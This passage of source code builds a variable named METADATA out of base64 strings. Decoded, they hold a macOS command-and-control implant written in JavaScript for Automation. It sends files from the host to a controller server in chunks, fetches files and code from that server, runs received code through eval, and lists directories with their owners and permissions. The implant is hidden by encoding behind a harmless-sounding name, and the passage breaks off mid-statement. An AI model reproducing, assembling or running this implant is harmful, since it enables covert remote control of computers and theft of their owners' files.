METADATA = METADATA + "KTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIHJlc3AgPSByZXNwLnN1YmRhdGFXaXRoUmFuZ2UobWVzc2FnZV9yYW5nZSk7IC8vY291bGQgZWl0aGVyIGJlIHBsYWludGV4dCBqc29uIG9yIGVuY3J5cHRlZCBieXRlcwogICAgICAgIC8v"
METADATA = METADATA + "d2UncmUgbm90IGRvaW5nIHRoZSBpbml0aWFsIGtleSBleGNoYW5nZQogICAgICAgIGlmKHRoaXMuYWVzX3BzayAhPT0gIiIpewogICAgICAgICAgICAvL2lmIHdlIGRvIG5lZWQgdG8gZGVjcnlwdCB0aGUgcmVzcG9uc2UgdGhvdWdoLCBkbyB0aGF0CiAgICAgICAg"
METADATA = METADATA + "ICAgIHJlc3AgPSBPYmpDLnVud3JhcCh0aGlzLmRlY3J5cHRfbWVzc2FnZShyZXNwKSk7CiAgICAgICAgICAgIHJldHVybiBKU09OLnBhcnNlKHJlc3ApOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAvL3dlIGRvbid0IG5lZWQgdG8gZGVjcnlwdCBpdCwgc28g"
METADATA = METADATA + "d2UgY2FuIGp1c3QgcGFyc2UgYW5kIHJldHVybiBpdAogICAgICAgICAgICByZXR1cm4gSlNPTi5wYXJzZShPYmpDLmRlZXBVbndyYXAoJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aERhdGFFbmNvZGluZyhyZXNwLCAkLk5TVVRGOFN0cmluZ0VuY29kaW5nKSkpOwog"
METADATA = METADATA + "ICAgICAgIH0KICAgICAgfQogICAgICBjYXRjaChlcnJvcil7CiAgICAgICAgICAvL2NvbnNvbGUubG9nKCJlcnJvciBpbiBtYWtlX3JlcXVlc3Q6ICIgICsgZXJyb3IudG9TdHJpbmcoKSk7CiAgICAgICAgICAkLk5TVGhyZWFkLnNsZWVwRm9yVGltZUludGVydmFs"
METADATA = METADATA + "KHRoaXMuZ2VuX3NsZWVwX3RpbWUoKSk7ICAvLyBkb24ndCBzcGluIG91dCBjcmF6eSBpZiB0aGUgY29ubmVjdGlvbiBmYWlscwogICAgICB9CiAgICB9CiAgfQogIGRvd25sb2FkKHRhc2ssIHBhcmFtcyl7CiAgICBsZXQgb3V0cHV0ID0gIiI7CiAgICBpZiggZG9l"
METADATA = METADATA + "c19maWxlX2V4aXN0KHBhcmFtcykpewogICAgICAgIGxldCBvZmZzZXQgPSAwOwogICAgICAgIGxldCBjaHVua1NpemUgPSB0aGlzLmNodW5rX3NpemU7IC8vMzUwMDsKICAgICAgICBsZXQgZnVsbF9wYXRoID0gcGFyYW1zOwogICAgICAgIHRyeXsKICAgICAgICAg"
METADATA = METADATA + "ICAgbGV0IGZtID0gJC5OU0ZpbGVNYW5hZ2VyLmRlZmF1bHRNYW5hZ2VyOwogICAgICAgICAgICBsZXQgcGllY2VzID0gT2JqQy5kZWVwVW53cmFwKGZtLmNvbXBvbmVudHNUb0Rpc3BsYXlGb3JQYXRoKHBhcmFtcykpOwogICAgICAgICAgICBmdWxsX3BhdGggPSAi"
METADATA = METADATA + "LyIgKyBwaWVjZXMuc2xpY2UoMSkuam9pbigiLyIpOwogICAgICAgICAgICB2YXIgaGFuZGxlID0gJC5OU0ZpbGVIYW5kbGUuZmlsZUhhbmRsZUZvclJlYWRpbmdBdFBhdGgoZnVsbF9wYXRoKTsKICAgICAgICAgICAgLy8gR2V0IHRoZSBmaWxlIHNpemUgYnkgc2Vl"
METADATA = METADATA + "a2luZzsKICAgICAgICAgICAgdmFyIGZpbGVTaXplID0gaGFuZGxlLnNlZWtUb0VuZE9mRmlsZTsKICAgICAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgICAgICByZXR1cm4geydzdGF0dXMnOiAnZXJyb3InLCAndXNlcl9vdXRwdXQnOiBlcnJvci50b1N0cmluZygp"
METADATA = METADATA + "LCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICAgICAgfQogICAgICAgIC8vIGFsd2F5cyByb3VuZCB1cCB0byBhY2NvdW50IGZvciBjaHVua3MgdGhhdCBhcmUgPCBjaHVua3NpemU7CiAgICAgICAgbGV0IG51bU9mQ2h1bmtzID0gTWF0aC5jZWlsKGZpbGVTaXplIC8g"
METADATA = METADATA + "Y2h1bmtTaXplKTsKICAgICAgICBsZXQgcmVnaXN0ZXJEYXRhID0geyd0b3RhbF9jaHVua3MnOiBudW1PZkNodW5rcywgImZ1bGxfcGF0aCI6IGZ1bGxfcGF0aH07CiAgICAgICAgbGV0IHJlZ2lzdGVyRmlsZSA9IHRoaXMucG9zdFJlc3BvbnNlKHRhc2ssIHJlZ2lz"
METADATA = METADATA + "dGVyRGF0YSk7CiAgICAgICAgaWYgKHJlZ2lzdGVyRmlsZVsncmVzcG9uc2VzJ11bMF1bJ3N0YXR1cyddID09PSAic3VjY2VzcyIpewogICAgICAgICAgICBoYW5kbGUuc2Vla1RvRmlsZU9mZnNldCgwKTsKICAgICAgICAgICAgbGV0IGN1cnJlbnRDaHVuayA9IDE7"
METADATA = METADATA + "CiAgICAgICAgICAgIGxldCBkYXRhID0gaGFuZGxlLnJlYWREYXRhT2ZMZW5ndGgoY2h1bmtTaXplKTsKICAgICAgICAgICAgd2hpbGUocGFyc2VJbnQoZGF0YS5sZW5ndGgpID4gMCAmJiBvZmZzZXQgPCBmaWxlU2l6ZSl7CiAgICAgICAgICAgICAgICAvLyBzZW5k"
METADATA = METADATA + "IGEgY2h1bmsKICAgICAgICAgICAgICAgIGxldCBmaWxlRGF0YSA9IHsnY2h1bmtfbnVtJzogY3VycmVudENodW5rLCAnY2h1bmtfZGF0YSc6IGRhdGEuYmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzLCAnZmlsZV9pZCc6IHJlZ2lzdGVyRmlsZVsn"
METADATA = METADATA + "cmVzcG9uc2VzJ11bMF1bJ2ZpbGVfaWQnXX07CiAgICAgICAgICAgICAgICBsZXQgcmVzcG9uc2UgPSB0aGlzLnBvc3RSZXNwb25zZSh0YXNrLCBmaWxlRGF0YSk7CiAgICAgICAgICAgICAgICBpZihyZXNwb25zZVsncmVzcG9uc2VzJ11bMF1bJ3N0YXR1cyddID09"
METADATA = METADATA + "PSAnc3VjY2VzcycpewogICAgICAgICAgICAgICAgICBvZmZzZXQgKz0gcGFyc2VJbnQoZGF0YS5sZW5ndGgpOwogICAgICAgICAgICAgICAgICBoYW5kbGUuc2Vla1RvRmlsZU9mZnNldChvZmZzZXQpOwogICAgICAgICAgICAgICAgICBjdXJyZW50Q2h1bmsgKz0g"
METADATA = METADATA + "MTsKICAgICAgICAgICAgICAgICAgZGF0YSA9IGhhbmRsZS5yZWFkRGF0YU9mTGVuZ3RoKGNodW5rU2l6ZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkLk5TVGhyZWFkLnNsZWVwRm9yVGltZUludGVydmFsKHRoaXMuZ2VuX3NsZWVwX3RpbWUo"
METADATA = METADATA + "KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgb3V0cHV0ID0geyJjb21wbGV0ZWQiOnRydWUsICJmaWxlX2lkIjogcmVnaXN0ZXJGaWxlWydyZXNwb25zZXMnXVswXVsnZmlsZV9pZCddfTsKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICBvdXRw"
METADATA = METADATA + "dXQgPSB7J3N0YXR1cyc6ICdlcnJvcicsICd1c2VyX291dHB1dCc6ICJGYWlsZWQgdG8gcmVnaXN0ZXIgZmlsZSB0byBkb3dubG9hZCIsICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIG91dHB1dCA9IHsnc3RhdHVz"
METADATA = METADATA + "JzogJ2Vycm9yJywgJ3VzZXJfb3V0cHV0JzogImZpbGUgZG9lcyBub3QgZXhpc3QiLCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICB9CiAgICByZXR1cm4gb3V0cHV0OwogIH0KICB1cGxvYWQodGFzaywgZmlsZV9pZCwgZnVsbF9wYXRoKXsKICAgIHRyeXsKICAgICAg"
METADATA = METADATA + "ICBsZXQgZGF0YSA9IHsiYWN0aW9uIjogInVwbG9hZCIsICJmaWxlX2lkIjogZmlsZV9pZCwgImNodW5rX3NpemUiOiB0aGlzLmNodW5rX3NpemUsICJjaHVua19udW0iOiAxLCAiZnVsbF9wYXRoIjogZnVsbF9wYXRoLCAidGFza19pZCI6IHRhc2suaWR9OwogICAg"
METADATA = METADATA + "ICAgIGxldCBjaHVua19udW0gPSAxOwogICAgICAgIGxldCB0b3RhbF9jaHVua3MgPSAxOwogICAgICAgIGxldCB0b3RhbF9kYXRhID0gJC5OU011dGFibGVEYXRhLmRhdGFXaXRoTGVuZ3RoKDApOwogICAgICAgIGRvewogICAgICAgICAgICBsZXQgZmlsZV9kYXRh"
METADATA = METADATA + "ID0gdGhpcy5tYWtlX3JlcXVlc3QoIlBPU1QiLCBhcGZlbGwuaWQsIGRhdGEpOwogICAgICAgICAgICBpZihmaWxlX2RhdGFbJ2NodW5rX251bSddID09PSAwKXsKICAgICAgICAgICAgICAgIHJldHVybiB7J3N0YXR1cyc6ICdlcnJvcicsICd1c2VyX291dHB1dCc6"
METADATA = METADATA + "ICJFcnJvciBmcm9tIHRoZSBzZXJ2ZXIiLCAiY29tcGxldGVkIjogdHJ1ZX07CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2h1bmtfbnVtID0gZmlsZV9kYXRhWydjaHVua19udW0nXTsKICAgICAgICAgICAgdG90YWxfY2h1bmtzID0gZmlsZV9kYXRhWyd0b3Rh"
METADATA = METADATA + "bF9jaHVua3MnXTsKICAgICAgICAgICAgdG90YWxfZGF0YS5hcHBlbmREYXRhKCQuTlNEYXRhLmFsbG9jLmluaXRXaXRoQmFzZTY0RW5jb2RpbmcoJChmaWxlX2RhdGFbJ2NodW5rX2RhdGEnXSkpKTsKICAgICAgICAgICAgZGF0YSA9IHsiYWN0aW9uIjogInVwbG9h"
METADATA = METADATA + "ZCIsICJmaWxlX2lkIjogZmlsZV9pZCwgImNodW5rX3NpemUiOiB0aGlzLmNodW5rX3NpemUsICJjaHVua19udW0iOiBjaHVua19udW0gKyAxfTsKICAgICAgICB9d2hpbGUoY2h1bmtfbnVtIDwgdG90YWxfY2h1bmtzKTsKICAgICAgcmV0dXJuIHRvdGFsX2RhdGE7"
METADATA = METADATA + "CiAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgIHJldHVybiB7J3N0YXR1cyc6ICdlcnJvcicsICd1c2VyX291dHB1dCc6IGVycm9yLnRvU3RyaW5nKCksICJjb21wbGV0ZWQiOiB0cnVlfTsKICAgIH0KICB9Cn0KLy8tLS0tLS0tLS0tLS0tIElOU1RBTlRJQVRFIE9V"
METADATA = METADATA + "UiBDMiBDTEFTUyBCRUxPVyBIRVJFIElOIE1BSU4gQ09ERS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCk9iakMuaW1wb3J0KCdTZWN1cml0eScpOwpDMiA9IG5ldyBjdXN0b21DMigpOwovLy0tLS0tLS0tLS0tLS1TSEFSRUQgQ09NTUFORCBDT0RFIC0tLS0tLS0tLS0t"
METADATA = METADATA + "LS0tLS0tLS0tLS0tLQpkb2VzX2ZpbGVfZXhpc3QgPSBmdW5jdGlvbihzdHJQYXRoKXsKICAgIHZhciBlcnJvciA9ICQoKTsKICAgIHJldHVybiAkLk5TRmlsZU1hbmFnZXIuZGVmYXVsdE1hbmFnZXIuYXR0cmlidXRlc09mSXRlbUF0UGF0aEVycm9yKCQoc3RyUGF0"
METADATA = METADATA + "aCkuc3RyaW5nQnlTdGFuZGFyZGl6aW5nUGF0aCwgZXJyb3IpLCBlcnJvci5jb2RlID09PSB1bmRlZmluZWQ7Cn07CmNvbnZlcnRfdG9fbnNkYXRhID0gZnVuY3Rpb24oc3RyRGF0YSl7CiAgICAvLyBoZWxwZXIgZnVuY3Rpb24gdG8gY29udmVydCBVVEY4IHN0cmlu"
METADATA = METADATA + "Z3MgdG8gTlNEYXRhIG9iamVjdHMKICAgIHZhciB0bXBTdHJpbmcgPSAkLk5TU3RyaW5nLmFsbG9jLmluaXRXaXRoQ1N0cmluZ0VuY29kaW5nKHN0ckRhdGEsICQuTlNEYXRhLk5TVW5pY29kZVN0cmluZ0VuY29kaW5nKTsKICAgIHJldHVybiB0bXBTdHJpbmcuZGF0"
METADATA = METADATA + "YVVzaW5nRW5jb2RpbmcoJC5OU0RhdGEuTlNVVEYxNlN0cmluZ0VuY29kaW5nKTsKfTsKd3JpdGVfZGF0YV90b19maWxlID0gZnVuY3Rpb24oZGF0YSwgZmlsZV9wYXRoKXsKICAgIHRyeXsKICAgICAgICAvL3ZhciBvcGVuX2ZpbGUgPSBjdXJyZW50QXBwLm9wZW5G"
METADATA = METADATA + "b3JBY2Nlc3MoUGF0aChmaWxlX3BhdGgpLCB7d3JpdGVQZXJtaXNzaW9uOiB0cnVlfSk7CiAgICAgICAgLy9jdXJyZW50QXBwLnNldEVvZihvcGVuX2ZpbGUsIHsgdG86IDAgfSk7IC8vY2xlYXIgdGhlIGN1cnJlbnQgZmlsZQogICAgICAgIC8vY3VycmVudEFwcC53"
METADATA = METADATA + "cml0ZShkYXRhLCB7IHRvOiBvcGVuX2ZpbGUsIHN0YXJ0aW5nQXQ6IGN1cnJlbnRBcHAuZ2V0RW9mKG9wZW5fZmlsZSkgfSk7CiAgICAgICAgLy9jdXJyZW50QXBwLmNsb3NlQWNjZXNzKG9wZW5fZmlsZSk7CiAgICAgICAgaWYodHlwZW9mIGRhdGEgPT0gInN0cmlu"
METADATA = METADATA + "ZyIpewogICAgICAgICAgICBkYXRhID0gY29udmVydF90b19uc2RhdGEoZGF0YSk7CiAgICAgICAgfQogICAgICAgIGlmIChkYXRhLndyaXRlVG9GaWxlQXRvbWljYWxseSgkKGZpbGVfcGF0aCksIHRydWUpKXsKICAgICAgICAgICAgcmV0dXJuICJmaWxlIHdyaXR0"
METADATA = METADATA + "ZW4iOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICByZXR1cm4gImZhaWxlZCB0byB3cml0ZSBmaWxlIjsKICAgICAgICB9CiAgICAgfQogICAgIGNhdGNoKGVycm9yKXsKICAgICAgICByZXR1cm4gImZhaWxlZCB0byB3cml0ZSB0byBmaWxlOiAi"
METADATA = METADATA + "ICsgZXJyb3IudG9TdHJpbmcoKTsKICAgICB9Cn07CmRlZmF1bHRfbG9hZCA9IGZ1bmN0aW9uKGNvbnRlbnRzKXsKICAgIHZhciBtb2R1bGUgPSB7ZXhwb3J0czoge319OwogICAgdmFyIGV4cG9ydHMgPSBtb2R1bGUuZXhwb3J0czsKICAgIGlmKHR5cGVvZiBjb250"
METADATA = METADATA + "ZW50cyA9PSAic3RyaW5nIil7CiAgICAgICAgZXZhbChjb250ZW50cyk7CiAgICB9CiAgICBlbHNlewogICAgICAgIGV2YWwoY29udGVudHMuanMpOwogICAgfQogICAgcmV0dXJuIG1vZHVsZS5leHBvcnRzOwp9OwpiYXNlNjRfZGVjb2RlID0gZnVuY3Rpb24oZGF0"
METADATA = METADATA + "YSl7CiAgICBpZih0eXBlb2YgZGF0YSA9PSAic3RyaW5nIil7CiAgICAgICAgdmFyIG5zX2RhdGEgPSAkLk5TRGF0YS5hbGxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKCQoZGF0YSkpOwogICAgfQogICAgZWxzZXsKICAgICAgICB2YXIgbnNfZGF0YSA9IGRhdGE7"
METADATA = METADATA + "CiAgICB9CiAgICB2YXIgZGVjb2RlZF9kYXRhID0gJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aERhdGFFbmNvZGluZyhuc19kYXRhLCAkLk5TVVRGOFN0cmluZ0VuY29kaW5nKS5qczsKICAgIHJldHVybiBkZWNvZGVkX2RhdGE7Cn07CmJhc2U2NF9lbmNvZGUgPSBm"
METADATA = METADATA + "dW5jdGlvbihkYXRhKXsKICAgIGlmKHR5cGVvZiBkYXRhID09ICJzdHJpbmciKXsKICAgICAgICB2YXIgbnNfZGF0YSA9IGNvbnZlcnRfdG9fbnNkYXRhKGRhdGEpOwogICAgfQogICAgZWxzZXsKICAgICAgICB2YXIgbnNfZGF0YSA9IGRhdGE7CiAgICB9CiAgICB2"
METADATA = METADATA + "YXIgZW5jb2RlZCA9IG5zX2RhdGEuYmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzOwogICAgcmV0dXJuIGVuY29kZWQ7Cn07CnZhciBleHBvcnRzID0ge307ICAvLyBnZXQgc3R1ZmYgcmVhZHkgZm9yIGluaXRpYWwgY29tbWFuZCBsaXN0aW5nCmV4"
METADATA = METADATA + "cG9ydHMubHMgPSBmdW5jdGlvbih0YXNrLCBjb21tYW5kLCBwYXJhbXMpewogICAgT2JqQy5pbXBvcnQoJ0ZvdW5kYXRpb24nKTsKICAgIHRyeSB7CiAgICAgICAgbGV0IGNvbW1hbmRfcGFyYW1zID0gSlNPTi5wYXJzZShwYXJhbXMpOwogICAgICAgIGxldCBmaWxl"
METADATA = METADATA + "TWFuYWdlciA9ICQuTlNGaWxlTWFuYWdlci5kZWZhdWx0TWFuYWdlcjsKICAgICAgICBsZXQgZXJyb3IgPSBSZWYoKTsKICAgICAgICBsZXQgcGF0aCA9IGNvbW1hbmRfcGFyYW1zWydwYXRoJ107CiAgICAgICAgaWYgKHBhdGggPT09ICIiIHx8IHBhdGggPT09IHVu"
METADATA = METADATA + "ZGVmaW5lZCkgewogICAgICAgICAgICBwYXRoID0gZmlsZU1hbmFnZXIuY3VycmVudERpcmVjdG9yeVBhdGguanM7CiAgICAgICAgICAgIGlmIChwYXRoID09PSB1bmRlZmluZWQgfHwgcGF0aCA9PT0gIiIpIHsKICAgICAgICAgICAgICAgIHJldHVybiB7CiAgICAg"
METADATA = METADATA + "ICAgICAgICAgICAgICAgInVzZXJfb3V0cHV0IjogIkZhaWxlZCB0byBnZXQgY3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSIsCiAgICAgICAgICAgICAgICAgICAgImNvbXBsZXRlZCI6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgInN0YXR1cyI6ICJlcnJvciIK"
METADATA = METADATA + "ICAgICAgICAgICAgICAgIH07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKHBhdGhbMF0gPT09ICciJykgewogICAgICAgICAgICBwYXRoID0gcGF0aC5zdWJzdHJpbmcoMSwgcGF0aC5sZW5ndGggLSAxKTsKICAgICAgICB9CiAgICAgICAgaWYo"
METADATA = METADATA + "cGF0aFswXSA9PT0gJ34nKXsKICAgICAgICAgICAgcGF0aCA9ICQocGF0aCkuc3RyaW5nQnlFeHBhbmRpbmdUaWxkZUluUGF0aC5qczsKICAgICAgICB9CiAgICAgICAgbGV0IGF0dHJpYnV0ZXMgPSBPYmpDLmRlZXBVbndyYXAoZmlsZU1hbmFnZXIuYXR0cmlidXRl"
METADATA = METADATA + "c09mSXRlbUF0UGF0aEVycm9yKCQocGF0aCksIGVycm9yKSk7CiAgICAgICAgaWYgKGF0dHJpYnV0ZXMgIT09IHVuZGVmaW5lZCkgewogICAgICAgICAgICBhdHRyaWJ1dGVzWyd0eXBlJ10gPSAiRiI7CiAgICAgICAgICAgIGF0dHJpYnV0ZXNbJ2ZpbGVzJ10gPSBb"
METADATA = METADATA + "XTsKICAgICAgICAgICAgaWYgKGF0dHJpYnV0ZXMuaGFzT3duUHJvcGVydHkoJ05TRmlsZVR5cGUnKSAmJiBhdHRyaWJ1dGVzWydOU0ZpbGVUeXBlJ10gPT09ICJOU0ZpbGVUeXBlRGlyZWN0b3J5IikgewogICAgICAgICAgICAgICAgbGV0IGVycm9yID0gUmVmKCk7"
METADATA = METADATA + "CiAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzWyd0eXBlJ10gPSAiRCI7CiAgICAgICAgICAgICAgICBsZXQgZmlsZXMgPSBPYmpDLmRlZXBVbndyYXAoZmlsZU1hbmFnZXIuY29udGVudHNPZkRpcmVjdG9yeUF0UGF0aEVycm9yKCQocGF0aCksIGVycm9yKSk7CiAg"
METADATA = METADATA + "ICAgICAgICAgICAgICBpZiAoZmlsZXMgIT09IHVuZGVmaW5lZCkgewogICAgICAgICAgICAgICAgICAgIGxldCBmaWxlc19kYXRhID0gW107CiAgICAgICAgICAgICAgICAgICAgbGV0IHN1Yl9maWxlcyA9IGZpbGVzOwogICAgICAgICAgICAgICAgICAgIGlmIChw"
METADATA = METADATA + "YXRoW3BhdGgubGVuZ3RoIC0gMV0gIT09ICIvIikgewogICAgICAgICAgICAgICAgICAgICAgICBwYXRoID0gcGF0aCArICIvIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCBzdWJfZmlsZXMubGVu"
METADATA = METADATA + "Z3RoOyBpKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGF0dHIgPSBPYmpDLmRlZXBVbndyYXAoZmlsZU1hbmFnZXIuYXR0cmlidXRlc09mSXRlbUF0UGF0aEVycm9yKCQocGF0aCArIHN1Yl9maWxlc1tpXSksIGVycm9yKSk7CiAgICAgICAgICAgICAg"
METADATA = METADATA + "ICAgICAgICAgIGxldCBmaWxlX2FkZCA9IHt9OwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsnbmFtZSddID0gc3ViX2ZpbGVzW2ldOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoYXR0clsnTlNGaWxlVHlwZSddID09PSAiTlNGaWxlVHlwZURp"
METADATA = METADATA + "cmVjdG9yeSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfYWRkWyd0eXBlJ10gPSAiRCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsndHlwZSddID0gIiI7CiAg"
METADATA = METADATA + "ICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHBsaXN0UGVybXMgPSBPYmpDLnVud3JhcChmaWxlTWFuYWdlci5hdHRyaWJ1dGVzT2ZJdGVtQXRQYXRoRXJyb3IoJChwYXRoICsgc3ViX2ZpbGVzW2ldKSwgJCgpKSk7CiAg"
METADATA = METADATA + "ICAgICAgICAgICAgICAgICAgICAgIGlmKHBsaXN0UGVybXNbJ05TRmlsZUV4dGVuZGVkQXR0cmlidXRlcyddICE9PSB1bmRlZmluZWQpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGV4dGVuZGVkID0ge307CiAgICAgICAgICAgICAgICAgICAgICAg"
METADATA = METADATA + "ICAgICBsZXQgcGVybXMgPSBwbGlzdFBlcm1zWydOU0ZpbGVFeHRlbmRlZEF0dHJpYnV0ZXMnXS5qczsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcihsZXQgaiBpbiBwZXJtcyl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXh0ZW5kZWRb"
METADATA = METADATA + "al0gPSBwZXJtc1tqXS5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCkuanM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsnRXh0ZW5kZWRBdHRyaWJ1dGVzJ10gPSBleHRlbmRl"
METADATA = METADATA + "ZDsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsnc2l6ZSddID0gYXR0clsnTlNGaWxlU2l6ZSddOwogICAgICAgICAgICAgICAgICAgICAgICBsZXQgbnNwb3NpeCA9IGF0dHJbJ05TRmlsZVBvc2l4UGVy"
METADATA = METADATA + "bWlzc2lvbnMnXTsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gd2UgbmVlZCB0byBmaXggdGhpcyBtZXNzIHRvIGFjdHVhbGx5IGJlIHJlYWwgcGVybWlzc2lvbiBiaXRzIHRoYXQgbWFrZSBzZW5zZQogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsn"
METADATA = METADATA + "cGVybWlzc2lvbnMnXSA9ICgobnNwb3NpeCA+PiA2KSAmIDB4NykudG9TdHJpbmcoKSArICgobnNwb3NpeCA+PiAzKSAmIDB4NykudG9TdHJpbmcoKSArIChuc3Bvc2l4ICYgMHg3KS50b1N0cmluZygpOwogICAgICAgICAgICAgICAgICAgICAgICBmaWxlX2FkZFsn"
METADATA = METADATA + "b3duZXInXSA9IGF0dHJbJ05TRmlsZU93bmVyQWNjb3VudE5hbWUnXSArICIoIiArIGF0dHJbJ05TRmlsZU93bmVyQWNjb3VudElEJ10gKyAiKSI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfYWRkWydncm91cCddID0gYXR0clsnTlNGaWxlR3JvdXBPd25l"
METADATA = METADATA + "ckFjY291bnROYW1lJ10gKyAiKCIgKyBhdHRyWydOU0ZpbGVHcm91cE93bmVyQWNjb3VudElEJ10gKyAiKSI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhdHRyWydOU0ZpbGVFeHRlbnNpb25IaWRkZW4nXSkgewogICAgICAgICAgICAgICAgICAgICAgICAg"
METADATA = METADATA + "ICAgZmlsZV9hZGRbJ2hpZGRlbiddID0gIlkiOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsZV9hZGRbJ2hpZGRlbiddID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAg"
METADATA = METADATA + "ICAgICAgICAgICAgICAgZmlsZXNfZGF0YS5wdXNoKGZpbGVfYWRkKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYXR0cmlidXRlc1snZmlsZXMnXSA9IGZpbGVzX2RhdGE7CiAgICAgICAgICAgICAgICB9ZWxzZXsKCiAgICAgICAg"
METADATA = METADATA + "ICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVsZXRlIGF0dHJpYnV0ZXNbJ05TRmlsZVN5c3RlbUZpbGVOdW1iZXInXTsKICAgICAgICAgICAgZGVsZXRlIGF0dHJpYnV0ZXNbJ05TRmlsZVN5c3RlbU51bWJlciddOwogICAgICAgICAgICBkZWxl"
METADATA = METADATA + "dGUgYXR0cmlidXRlc1snTlNGaWxlVHlwZSddOwogICAgICAgICAgICBsZXQgbnNwb3NpeCA9IGF0dHJpYnV0ZXNbJ05TRmlsZVBvc2l4UGVybWlzc2lvbnMnXTsKICAgICAgICAgICAgLy8gd2UgbmVlZCB0byBmaXggdGhpcyBtZXNzIHRvIGFjdHVhbGx5IGJlIHJl"
METADATA = METADATA + "YWwgcGVybWlzc2lvbiBiaXRzIHRoYXQgbWFrZSBzZW5zZQogICAgICAgICAgICBkZWxldGUgYXR0cmlidXRlc1snTlNGaWxlUG9zaXhQZXJtaXNzaW9ucyddOwogICAgICAgICAgICBhdHRyaWJ1dGVzWyduYW1lJ10gPSBwYXRoOwogICAgICAgICAgICBhdHRyaWJ1"
METADATA = METADATA + "dGVzWydzaXplJ10gPSBhdHRyaWJ1dGVzWydOU0ZpbGVTaXplJ107CiAgICAgICAgICAgIGF0dHJpYnV0ZXNbJ3Blcm1pc3Npb25zJ10gPSAoKG5zcG9zaXggPj4gNikgJiAweDcpLnRvU3RyaW5nKCkgKyAoKG5zcG9zaXggPj4gMykgJiAweDcpLnRvU3RyaW5nKCkg"
METADATA = METADATA + "KyAobnNwb3NpeCAmIDB4NykudG9TdHJpbmcoKTs7CiAgICAgICAgICAgIGF0dHJpYnV0ZXNbJ293bmVyJ10gPSBhdHRyaWJ1dGVzWydOU0ZpbGVPd25lckFjY291bnROYW1lJ10gKyAiKCIgKyBhdHRyaWJ1dGVzWydOU0ZpbGVPd25lckFjY291bnRJRCddICsgIiki"
METADATA = METADATA + "OwogICAgICAgICAgICBhdHRyaWJ1dGVzWydncm91cCddID0gYXR0cmlidXRlc1snTlNGaWxlR3JvdXBPd25lckFjY291bnROYW1lJ10gKyAiKCIgKyBhdHRyaWJ1dGVzWydOU0ZpbGVHcm91cE93bmVyQWNjb3VudElEJ10gKyAiKSI7CiAgICAgICAgICAgIGlmIChh"
METADATA = METADATA + "dHRyaWJ1dGVzWydOU0ZpbGVFeHRlbnNpb25IaWRkZW4nXSkgewogICAgICAgICAgICAgICAgYXR0cmlidXRlc1snaGlkZGVuJ10gPSAiWSI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBhdHRyaWJ1dGVzWydoaWRkZW4nXSA9ICIiOwogICAg"
METADATA = METADATA + "ICAgICAgICB9CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVTaXplJ107CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVPd25lckFjY291bnROYW1lJ107CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVP"
METADATA = METADATA + "d25lckFjY291bnRJRCddOwogICAgICAgICAgICBkZWxldGUgYXR0cmlidXRlc1snTlNGaWxlR3JvdXBPd25lckFjY291bnROYW1lJ107CiAgICAgICAgICAgIGRlbGV0ZSBhdHRyaWJ1dGVzWydOU0ZpbGVHcm91cE93bmVyQWNjb3VudElEJ107CiAgICAgICAgICAg"
